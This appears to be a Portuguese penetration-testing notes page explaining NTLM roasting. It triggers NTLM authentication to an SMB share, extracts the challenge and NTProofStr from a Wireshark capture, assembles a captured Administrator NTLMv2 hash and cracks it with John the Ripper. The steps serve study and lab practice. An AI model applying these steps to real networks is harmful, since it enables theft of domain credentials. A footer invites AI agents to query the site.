# NTLM Roasting
De uma máquina Windows, primeiro provocamos a autenticação NTLM.
{% code overflow="wrap" %}
```bash
dir //172.16.0.10/c$
```
{% endcode %}
Se capturarmos o tráfego no Wireshark, podemos filtrar por `NTLMSSP`.
Em seguida, recuperamos o desafio enviado pelo servidor.

Na resposta, também encontramos a parte criptografada enviada pelo cliente.

```bash

```
{% endcode %}
Também observamos o `NTProofStr`.
* d4742b082e949c7f93311599134ffb9b
Por fim, você deve identificar o nome de usuário que está fazendo a solicitação.
* Administrator
Todos esses valores são então reunidos no formato esperado pela ferramenta de quebra.
{% code overflow="wrap" %}
```bash
UserName::Domain:NTLM_Server_Challenge:NTProofStr:NTLMv2Response-NTProofStr
```
{% endcode %}
{% code overflow="wrap" %}
```bash
Administrador::WHOAMI:9dcfb27e14194959:d4742b082e949c7f93311599134ffb9b:01010000000000003f0436849deedc01edafeed4fed853a40000000002000c00570048004f0041004d00490001000800570053003000310004001800770068006f0061006d0069002e006c006f00630061006c000300220057005300300031002e00770068006f0061006d0069002e006c006f00630061006c0005001800770068006f0061006d0069002e006c006f00630061006c00070008003f0436849deedc01060004000200000008003000300000000000000000000000003000001f5623fb61aa544eba771039f9b114ac522709c92b06619a67ba812f95c72ee30a001000000000000000000000000000000000000900200063006900660073002f003100370032002e00310036002e0030002e00310030000000000000000000
```
{% endcode %}
Do Linux, podemos então tentar quebrar a resposta NTLMv2.
{% code overflow="wrap" %}
```bash
john admin.ntlmv2
```
{% endcode %}

This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/pt-br/active-directory/lateral-movement/ntlm-roasting.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
